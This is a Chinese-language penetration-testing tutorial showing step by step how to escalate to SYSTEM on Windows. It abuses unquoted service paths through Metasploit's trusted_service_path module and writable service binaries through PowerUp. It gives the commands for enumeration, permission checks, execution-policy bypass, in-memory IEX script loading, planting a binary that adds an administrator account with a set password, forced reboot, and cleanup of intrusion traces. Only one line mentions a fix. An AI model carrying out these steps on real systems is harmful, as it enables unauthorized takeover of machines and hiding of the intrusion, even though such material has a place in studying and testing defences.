metasploit、powershell之Windows错误系统配置漏洞实战提权

2019-12-18 14:59:11 浏览数 (1)

引言

我们在获得目标机一个普通的权限时,除了常规提权方法外,还可以通过查找目标主机错误的系统配置和漏洞来获取系统权限。本节所讲的“Trusted Service Paths(可信任服务路径)漏洞”和“系统服务的错误权限配置漏洞”绝对是你值得尝试的一个环节。

Trusted Service Paths(可信任服务路径)漏洞介绍

“Trusted Service Paths”漏洞是由系统中的“CreateProcess”函数引起的,利用了windows文件路径解析的特性,并涉及了服务路径的文件/文件夹权限,存在缺陷的服务程序利用了属于可执行文件的文件/文件夹权限。如果权限合适,我们可以上传恶意可执行文件。简单讲就是查找系统服务文件中存在非引用路径。如果一个服务调用可执行文件,没有正确处理引用的全路径名,就可以利用这个漏洞。

Trusted Service Paths漏洞产生原因

windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。 例如,有如下的文件路径:

代码语言:javascript复制
C:Program FilesSome FolderService.exe

对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前名字相匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:

代码语言:javascript复制
C:Program.exe
C:Program FilesSome.exe
C:Program FilesSome FolderService.exe

所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,服务一旦重启,我们的恶意程序就会以system权限运行(大多数情况下)。

Metasploit下Trusted Service Paths漏洞的实战利用

此时假设我们通过一系列前期渗透,已经成功获得了目标机的meterpreter shell(过程略),当前权限为shuteer,我们想获取系统的system权限,但是尝试了各类提权方法后失败,如图1所示。此时我们可以尝试通过TrustedService Paths漏洞来尝试实现权限的提升。

图1 当前权限

1.先检测目标主机是否存在该漏洞。理论上讲,如果一个服务的可执行文件的路径没有用双引号封闭,并且包含空格,那么这个服务就是有漏洞的。 我们在meterpreter shell命令提示符下输入shell命令进入目标机cmd下,然后使用下列wmi查询命令来列举受害者机器上所有的没有加引号的服务路径(除去了windows本身的服务)。如图2所示。

代码语言:javascript复制
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr /i /v """

图2查询路径

可以看到,有“Vulnerable Service”、“OmniServ”、“OmniServer”、“OmniServers”四个服务对应的二进制文件路径没有引号包含起来,并且路径中包含空格。是存在该漏洞的,但在上传可执行文件进去之前,我们需要确定我们对目标文件夹是否有写入的权限。

2.检查对有漏洞目录是否有写入的权限,这个很关键。这里我们使用Windows内建的一个工具,icacls,下面我们用这个工具依次来检查

代码语言:javascript复制
“C:Program Files”
“C:Program FilesCommon Files”
“C:Program FilesCommon Filesmicrosoft shared”

等目录的权限,都提示权限不够。如图3所示。

图3 查看目录权限

很幸运,直到我们尝试到最后一个

代码语言:javascript复制
“C:Program FilesProgram Folder”

文件夹时成功了,看到Everyone(OI)(CI)(F)没有。如图4所示。

图4 查看目录权限

“Everyone”用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。 参数说明:“M”表示修改,“F”代表完全控制,“CI”代表从属容器将继承访问控制项,“OI”代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。 3.我们确认了目标主机存在此漏洞后,将便开始正式攻击,Metasploit中相对应的是Windows Service Trusted Path Privilege Escalation本地利用模块,该模块会将恶意的可执行程序放到受影响的文件夹中去,然后将受影响的服务重启。接着我们输入命令background,把当前的meterpreter shell转为后台执行。然后在Metasploit中搜索trusted_service_path模块。如图5所示。

图5搜索相应EXPLOIT

4.使用该exploit程序,并设置相关参数,如图6所示。

图6设置相关参数

5.攻击。输入run命令,可以看到自动反弹了一个新的meterpreter,我们在此meterpreter shell下输入getuid 发现是system 权限,如图7所示。证明我们已经提权成功了。

图7提权成功

我们输入sessions可以看到有2个meterpreter,ID为3的就是新反弹回来的,如图8所示。

图8查看sessions

我们浏览源代码发现,这个模块使用了一些正则表达式来过滤掉那些路径用引号包含起来的路径,以及路径中不含空格的路径,并创建一个受影响的服务的路径列表。接着该模块尝试利用列表中第一个受影响的服务,将恶意的可执行程序放到相应受影响的文件夹中去。接着受影响的服务被重启,最后,该模块会删除该恶意可执行文件。 6.解决方案:当开发者没有将文件路径用引号包含起来的时候,才会发生这种行为。用引号包含起来的路径解析的时候则不存在这种行为。

“系统服务错误权限配置漏洞”简介

Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。

PowerUp之”系统服务错误权限配置漏洞”的实战利用

这里我们主要利用一个非常实用的Powershell框架-Powerup通过直接替换可执行文件本身来实现权限的提升。首先检测目标主机是否存在该漏洞。Powerup可以帮助我们寻找服务器错误的系统配置和漏洞从而实现提权的目的。下载地址:

代码语言:javascript复制
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp

我们先将工具下载到本地,然后上传至目标服务器。见图9所示。

图9 上传工具

上传好脚本后,输入shell命令进入CMD提示符下,然后可以使用下列命令在本地隐藏权限绕过执行该脚本,会自动进行所有的脚本检查。见图10所示。

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1; Invoke-AllChecks}"

图10 查找有漏洞服务

也可以使用IEX下载在内存中加载此脚本,执行如下命令,同样会自动进行所有的检查,如图11所示。

代码语言:javascript复制
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-AllChecks”

知识点:

-NoProfile(-NoP):PowerShell控制台不加载当前用户的配置

-Exec Bypass:绕过执行安全策略

Import-Module:加载脚本

图11 查找有漏洞服务

可以看出,Powerup列出了可能存在问题的所有服务,并在AbuseFunction中直接给出了利用方式。第一部分通过Get-ServiceUnquoted模块检测出了有“Vulnerable Service”、“OmniServ”、“OmniServer”、“OmniServers”四个服务,路径包含空格且不带引号,但是都没有权限,所以并不能被我们利用来提权。第二部分通过Get-ServiceFilePermission模块检测出当前用户可以在“OmniServers”服务的目录写入相关联的可执行文件,并且通过这些文件来进行提权。 这里我们还是可以使用icacls来验证下PowerUp脚本检测是否正确,我们先来测试

代码语言:javascript复制
“C:Program FilesExecutable.exe”、
“C:Program FilesCommon Filesmicrosoft sharedOmniServ.exe”、
“C:Program FilesCommon FilesA SubfolderOmniServer.exe”

这三个文件夹,均提示权限不够。如图12所示。

图12 查看目录权限

再测试

代码语言:javascript复制
“C:Program FilesProgram FolderA SubfolderOmniServers.exe”

文件,如图13所示。

图13 查看目录权限

可以看到我们对OmniServers.exe文件是有完全控制权的,这里我们可以直接将OmniServers.exe替换成我们的MSF反弹木马,当服务重启时,就会给我们返回一个system权限的meterpreter。 在这里我们使用图11里AbuseFunction那里已经给出的具体操作方式,执行如下命令操作,如图14所示。

代码语言:javascript复制
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Install-ServiceBinary -ServiceName 'OmniServers'-UserName shuteer -Password Password123!

知识点:

Install-ServiceBinary模块,通过Write-ServiceBinary写一个C#的服务用来添加用户。

图14添加用户

接下来停止并再启动该服务的时候,就会添加我们的用户,如图15所示。

图15 停止启动服务

可以看到,提示拒绝访问,那是因为我们当前的权限是一个受限的USER权限,所以只能等待系统重启。这里因为是虚拟机机,所以直接使用如下命令强制重启,如图16所示。 Shutdown –r –f –t 0

图16 强制重启

我们切换到目标机界面可以看到已经关机重启了,如图17所示。

图17关机

重启以后,系统会自动创建了一个新的用户shuteer,密码是Password123!。如图18所示。

图18 查看用户

我们来查看下该用户权限,该用户已经是系统管理员。如图19所示。

图19 查看权限

提权成功以后,我们到目标机

代码语言:javascript复制
C:Program FilesProgram FolderA Subfolder

目录下面可以看到多了一个文件,如图20所示。

图20 查看文件夹

所以我们需要清除入侵的痕迹,把所有的状态恢复到最初的状态,可以使用如下命令恢复。

代码语言:javascript复制
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Restore-ServiceBinary -ServiceName
'OmniServers'

恢复

代码语言:javascript复制
‘C:Program FilesProgram FolderA SubfolderOmniServers.exe.bak’为’C:Program FilesProgram FolderA SubfolderOmniServers.exe’

移除备份二进制文件

代码语言:javascript复制
‘C:Program FilesProgram FolderA SubfolderOmniServers.exe.bak’

TheEnd.

本文为我团队 shuteer原创稿件,授权杂术馆发布,未经许可禁止转载

0 人点赞